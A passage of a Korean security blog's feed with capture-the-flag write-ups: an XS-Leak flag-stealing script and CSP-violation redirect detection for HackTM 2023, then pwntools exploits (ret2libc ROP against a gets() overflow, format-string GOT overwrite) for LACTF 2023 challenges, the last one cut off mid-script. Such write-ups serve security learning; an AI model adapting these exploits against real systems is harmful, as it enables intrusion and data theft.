&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 검색된 게시글이 없을 경우, 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래 host에 fragment를 붙여 페이지를 이동 시키고 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQxZg2/btr0gDd9HRu/EZ70dZVNM93ThfxWNpRhXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQxZg2/btr0gDd9HRu/EZ70dZVNM93ThfxWNpRhXk/img.png&quot; data-alt=&quot;게시글이 없을 경우&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQxZg2/btr0gDd9HRu/EZ70dZVNM93ThfxWNpRhXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQxZg2%2Fbtr0gDd9HRu%2FEZ70dZVNM93ThfxWNpRhXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;885&quot; height=&quot;216&quot; data-origin-width=&quot;885&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;게시글이 없을 경우&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4-1. Unintended Solution - Chrome's 2MB URL limit&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;롸업 중에서, chrome의 URL 길이 제한으로 redirection 여부를 확인하는 방법을 소개하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;존재하는 게시글의 검색 내용과 fragment를 이용하여 redirection 되었을 때, 추가로 게시글 번호 idx 값이 붙는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 점을 이용하여 chrome의 URL 길이 제한 에러를 판단할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1677134607649&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
	&amp;lt;script&amp;gt;
		(async() =&amp;gt; {
			let flag = &quot;HackTM{&quot;

			const request = async(char) =&amp;gt; {
			let url = &quot;http://secrets.wtl.pw/search?query=&quot; + flag;
			let w = window.open(url + char + &quot;#&quot; + &quot;A&quot;.repeat(2 * 1024 * 1024 - url.length - 2));
                
            setTimeout(() =&amp;gt; {
                try{
                   console.log(w.origin);
                   flag += char
                   fetch(`/result?flag=${flag}`);
                   return 0;
                }
                catch{
                   return 1;
                }
            }, 1000)
        }

			const CHARSET = &quot;abcdefghijklmnopqrstuvwxyz-_0123456789}&quot;
            const loop = async () =&amp;gt; {
                for(let len = 0; len&amp;lt;30; len++){
                    for(let c of CHARSET){
                        const result = await request(c);
                        await new Promise(resolve =&amp;gt; setTimeout(resolve, 50))
                        if(result == 0){
                            break
                        }
                    }
                }
            }
            loop();
		})();
	&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;4-2. CSP Violation - SecurityPolicyViolationEvent&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 CSP Violations 중 `SecurityPolicyViolationEvent` 를 활용한 방법이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 이벤트는 CSP를 위반 했을 때, 위 이벤트가 발생된다. 다음은 이에 대한 예제 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)&lt;/a&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1677137548905&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- Set the Content-Security-Policy to only allow example.org --&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot;
      content=&quot;connect-src https://example.org&quot;&amp;gt;
&amp;lt;script&amp;gt;
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () =&amp;gt; {
  console.log(&quot;Detected a redirect to somewhere other than example.org&quot;);
});
// Try to fetch example.org. If it redirects to another cross-site website
// it will trigger a CSP violation event
fetch('https://example.org/might_redirect', {
  mode: 'no-cors',
  credentials: 'include'
});
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP의 `connect-src` directive를 이용하여 특정 호스트만 통신하게끔 설정했다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 `fetch()` 등으로 허용된 origin과 통신을 시도할 때, 다른 origin으로 redirect 될 경우 `SecurityPolicyViolationEvent` 가 트리거 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSP의 `connect-src` directive 뿐만 아니라 `form-src` directive도 마찬가지이다.&lt;/p&gt;
&lt;pre id=&quot;code_1677137839178&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!-- Set the Content-Security-Policy to only allow example.org --&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot;
      content=&quot;form-action https://example.org&quot;&amp;gt;
&amp;lt;form action=&quot;https://example.org/might_redirect&quot;&amp;gt;&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;
// Listen for a CSP violation event
document.addEventListener('securitypolicyviolation', () =&amp;gt; {
  console.log(&quot;Detected a redirect to somewhere other than example.org&quot;);
});
// Try to get example.org via a form. If it redirects to another cross-site website
// it will trigger a CSP violation event
document.forms[0].submit();
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람의 롸업을 보면, 위 방법을 이용하여 redirection을 감지하고 recursive하게 동작하는 php + javascript 코드를 작성했다.&lt;/p&gt;
&lt;figure id=&quot;og_1677137918561&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Secrets - HackTM CTF Writeup&quot; data-og-description=&quot;Exfiltrate the note from the bot using an XS-Leaks technique called 'Cross-Origin Redirects and CSP Violations'&quot; data-og-host=&quot;www.xanhacks.xyz&quot; data-og-source-url=&quot;https://www.xanhacks.xyz/p/secrets-hacktmctf/#exploitation&quot; data-og-url=&quot;https://www.xanhacks.xyz/p/secrets-hacktmctf/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cLBUiZ/hyRImqrQtG/QkUqBZozM1M4CDsr9JqqBK/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572,https://scrap.kakaocdn.net/dn/Ke26C/hyRIu253vW/k5X3lOEm5SyOpwjmbRLcI1/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572,https://scrap.kakaocdn.net/dn/Qwotm/hyRJGOnUIc/0m7Z6jBl5UoxNLkqFK5T5K/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572&quot;&gt;&lt;a href=&quot;https://www.xanhacks.xyz/p/secrets-hacktmctf/#exploitation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.xanhacks.xyz/p/secrets-hacktmctf/#exploitation&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cLBUiZ/hyRImqrQtG/QkUqBZozM1M4CDsr9JqqBK/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572,https://scrap.kakaocdn.net/dn/Ke26C/hyRIu253vW/k5X3lOEm5SyOpwjmbRLcI1/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572,https://scrap.kakaocdn.net/dn/Qwotm/hyRJGOnUIc/0m7Z6jBl5UoxNLkqFK5T5K/img.png?width=1098&amp;amp;height=572&amp;amp;face=0_0_1098_572');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Secrets - HackTM CTF Writeup&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Exfiltrate the note from the bot using an XS-Leaks technique called 'Cross-Origin Redirects and CSP Violations'&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.xanhacks.xyz&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category> CTF</category>
      <category>beautifulsoup confusion</category>
      <category>CSP</category>
      <category>SQLite</category>
      <category>xs leak</category>
      <author>Universe7202</author>
      <guid isPermaLink="true">https://universe-blog.tistory.com/254</guid>
      <comments>https://universe-blog.tistory.com/entry/hacktm-ctf-2023-writeup#entry254comment</comments>
      <pubDate>Tue, 21 Feb 2023 16:28:10 +0900</pubDate>
    </item>
    <item>
      <title>lactf 2023 writeup</title>
      <link>https://universe-blog.tistory.com/entry/lactf-2023-writeup</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;LongLogoWavingTransparentBig.gif&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr2KbD/btrZchIIL4R/Q7geNkGW8nKHVBRXw3lva0/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr2KbD/btrZchIIL4R/Q7geNkGW8nKHVBRXw3lva0/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr2KbD/btrZchIIL4R/Q7geNkGW8nKHVBRXw3lva0/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/cr2KbD/btrZchIIL4R/Q7geNkGW8nKHVBRXw3lva0/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;396&quot; height=&quot;222&quot; data-filename=&quot;LongLogoWavingTransparentBig.gif&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;1. [pwn] gatekeep&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rRrIB/btrZbQ5Hz8W/76ZDsMK4YxqbgQSIIhucm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rRrIB/btrZbQ5Hz8W/76ZDsMK4YxqbgQSIIhucm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rRrIB/btrZbQ5Hz8W/76ZDsMK4YxqbgQSIIhucm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrRrIB%2FbtrZbQ5Hz8W%2F76ZDsMK4YxqbgQSIIhucm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;246&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 단순 bof를 통해 다른 변수의 값을 변조시켜 flag를 획득하는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}`&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;2. [pwn] bot&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;294&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d5ZaCH/btrZa4pRY85/3QCUhgo1b0iaM0pAbla63k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d5ZaCH/btrZa4pRY85/3QCUhgo1b0iaM0pAbla63k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d5ZaCH/btrZa4pRY85/3QCUhgo1b0iaM0pAbla63k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd5ZaCH%2FbtrZa4pRY85%2F3QCUhgo1b0iaM0pAbla63k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;294&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;294&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제의 c코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1676337970357&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(void) {
  setbuf(stdout, NULL);
  char input[64];
  volatile int give_flag = 0;
  puts(&quot;hi, how can i help?&quot;);
  gets(input);
  if (strcmp(input, &quot;give me the flag&quot;) == 0) {
    puts(&quot;lol no&quot;);
  } else if (strcmp(input, &quot;please give me the flag&quot;) == 0) {
    puts(&quot;no&quot;);
  } else if (strcmp(input, &quot;help, i have no idea how to solve this&quot;) == 0) {
    puts(&quot;L&quot;);
  } else if (strcmp(input, &quot;may i have the flag?&quot;) == 0) {
    puts(&quot;not with that attitude&quot;);
  } else if (strcmp(input, &quot;please please please give me the flag&quot;) == 0) {
    puts(&quot;i'll consider it&quot;);
    sleep(15);
    if (give_flag) {
      puts(&quot;ok here's your flag&quot;);
      system(&quot;cat flag.txt&quot;);
    } else {
      puts(&quot;no&quot;);
    }
  } else {
    puts(&quot;sorry, i didn't understand your question&quot;);
    exit(1);
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 보면 `gets()` 함수로 입력을 받고 있기 때문에 bof 공격에 취약하다. checksec으로 확인해보면, 카나리는 없는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;368&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceumyP/btrY4mdLwZV/MsBA9RGNMEspcinZ9JVBzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceumyP/btrY4mdLwZV/MsBA9RGNMEspcinZ9JVBzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceumyP/btrY4mdLwZV/MsBA9RGNMEspcinZ9JVBzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceumyP%2FbtrY4mdLwZV%2FMsBA9RGNMEspcinZ9JVBzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;368&quot; height=&quot;151&quot; data-origin-width=&quot;368&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`strcmp()` 함수로 사용자의 입력값을 검증하고 있는데, 입력값이 일치하지 않으면 `exit()` 함수로 프로그램을 종료 시킨다. 즉, 입력 값을 만족시키지 않으면 bof를 한다고 해도 성공할 수 없다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 입력 값을 만족시키는 값을 넣고 `\x00` 값을 넣은 뒤, 이후에 bof payload를 작성하면 문제를 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bof로 `libc base`를 leak 하고 `libc_system` 함수의 주소를 찾아 return 주소에 overwrite 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676338508886&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

context.log_level = &quot;debug&quot;

pop_rdi_ret = 0x40133b

# p = process(&quot;./bot&quot;)
p = remote(&quot;lac.tf&quot;, &quot;31180&quot;)
e = ELF(&quot;./bot&quot;)
l = ELF(&quot;./libc-2.31.so&quot;)

payload  = b&quot;give me the flag\x00&quot;
payload += (0x48 - len(payload)) * b&quot;A&quot;
payload += p64(pop_rdi_ret)
payload += p64(e.got[&quot;gets&quot;])
payload += p64(e.plt[&quot;puts&quot;])
payload += p64(e.symbols[&quot;main&quot;])

p.sendlineafter(b&quot;hi, how can i help?&quot;, payload)

p.recvuntil(b&quot;\x6f\x0a&quot;)

gets_libc = u64(p.recv(6) + b&quot;\x00\x00&quot;)
libc_base = gets_libc - l.symbols[&quot;gets&quot;]
system = libc_base + l.symbols[&quot;system&quot;]

print(f&quot;gets_libc: {hex(gets_libc)}&quot;)
print(f&quot;libc_base: {hex(libc_base)}&quot;)


payload  = b&quot;give me the flag\x00&quot;
payload += (0x48 - len(payload)) * b&quot;A&quot;
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(e.plt[&quot;gets&quot;])
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + 0x10)
payload += p64(system)

p.sendlineafter(b&quot;hi, how can i help?&quot;, payload)
p.sendline(&quot;cat flag.txt&quot;)

p.interactive()

# lactf{hey_stop_bullying_my_bot_thats_not_nice}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #009a87;&quot;&gt;&lt;b&gt;3. [pwn] rickroll&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;293&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cc7jnD/btrZc70gx6m/wlvlkjPxTyEEFEMn2vY8eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cc7jnD/btrZc70gx6m/wlvlkjPxTyEEFEMn2vY8eK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cc7jnD/btrZc70gx6m/wlvlkjPxTyEEFEMn2vY8eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcc7jnD%2FbtrZc70gx6m%2FwlvlkjPxTyEEFEMn2vY8eK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;293&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;293&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 Cheshire님과 함께 고민하여 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 c코드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`printf(buf)`에서 fsb 취약점이 발생한다.&lt;/p&gt;
&lt;pre id=&quot;code_1676340226855&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main_called = 0;

int main(void) {
    if (main_called) {
        puts(&quot;nice try&quot;);
        return 1;
    }
    main_called = 1;
    setbuf(stdout, NULL);
    printf(&quot;Lyrics: &quot;);
    char buf[256];
    fgets(buf, 256, stdin);
    printf(&quot;Never gonna give you up, never gonna let you down\nNever gonna run around and &quot;);
    printf(buf);
    printf(&quot;Never gonna make you cry, never gonna say goodbye\nNever gonna tell a lie and hurt you\n&quot;);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec으로 확인해보면, `RELRO: Partial RELRO` 이기 때문에, GOT를 overwrite 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fsb로 libc_base를 leak 하고, puts 함수의 GOT를 main함수의 주소로 overwrite 하는 시나리오를 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 main_called 변수로 main 함수가 여러번 호출되었는지를 검증하고 있기 때문에, 이 변수 또한 fsb로 0으로 초기화 시킨다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;153&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eaUCJ6/btrZc7zaNiG/MLeCSok2DQ2jqNTkeTy3V1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eaUCJ6/btrZc7zaNiG/MLeCSok2DQ2jqNTkeTy3V1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eaUCJ6/btrZc7zaNiG/MLeCSok2DQ2jqNTkeTy3V1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeaUCJ6%2FbtrZc7zaNiG%2FMLeCSok2DQ2jqNTkeTy3V1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;153&quot; data-origin-width=&quot;404&quot; data-origin-height=&quot;153&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1676344874974&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
import sys

context.log_level = &quot;debug&quot;

# p = process(&quot;./rickroll&quot;)
p = remote(&quot;lac.tf&quot;, &quot;31135&quot;)
e = ELF(&quot;./rickroll&quot;)
l = e.libc
# l = ELF(&quot;./libc.so.6&quot;)

if len(sys.argv) != 1:
    script = &quot;&quot;&quot;
        b *main
        b *0x00000000004011c2
        b *0x4011e7
        b *0x4011f3
    &quot;&quot;&quot;
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, script)

main_called = 0x40406c

payload  = b&quot;%20$hn&quot;                        # overwrite main_called
payload += (8 - len(payload)) * b&quot;A&quot;
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*7
payload += b&quot;%21$hhn&quot;                       # overwrite puts GOT -&amp;gt; main 1bit
payload += b&quot;B&quot;*2
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*8
payload += b&quot;A&quot;*7
payload += b&quot;%22$hhn&quot;                       # overwrite puts GOT -&amp;gt; main 1bit
payload += b&quot;A&quot;*2
payload += b&quot;%39$pAAA&quot;                      # Leak address __libc_start_main
payload += p64(main_called)
payload += p64(e.got[&quot;puts&quot;] + 1)
payload += p64(e.got[&quot;puts&quot;])


p.sendlineafter(b&quot;Lyrics: &quot;, payload)

p.recvuntil(b&quot;0x&quot;)
addr = int(b&quot;0x&quot; + p.recv(12), 16)

# local
# libc_start_main = addr - 243 
# libc_base = libc_start_main - l.symbols[&quot;__libc_start_main&quot;]
# system = libc_base + l.symbols[&quot;system&quot;]

# remote
libc_base = addr - 0x1d0a
system = libc_base + 0x23e50
binsh = libc_base + 0x174152

overwrite = system &amp;amp; 0x000000ffffff


print(f&quot;addr: {hex(addr)}&quot;)
print(f&quot;libc_base: {hex(libc_base)}&quot;)
print(f&quot;system: {hex(system)}&quot;)

offset_1 = overwrite &amp;amp; 0xff
offset_2 = (overwrite &amp;amp; 0xff00) &amp;gt;&amp;gt; 8
offset_3 = (overwrite &amp;amp; 0xff0000) &amp;gt;&amp;gt; 16


tmp_1 = 8 - len(f&quot;%{offset_1}c&quot;)
tmp_2 = 8 - len(f&quot;%{256 - offset_1 + offset_2 - 4}c&quot;)
tmp_3 = 8 - len(f&quot;%{256 - offset_2 + offset_3}c&quot;)

payload  = b&quot;%13$hhnA&quot;                                                  # overwrite main_called
payload += f&quot;%{offset_1 - tmp_1 - 1}c&quot;.encode() + tmp_1 * b&quot;A&quot;          # system+0 
payload += b&quot;%14$hhnA&quot;                                                  # overwrite printf GOT -&amp;gt; system 1bit
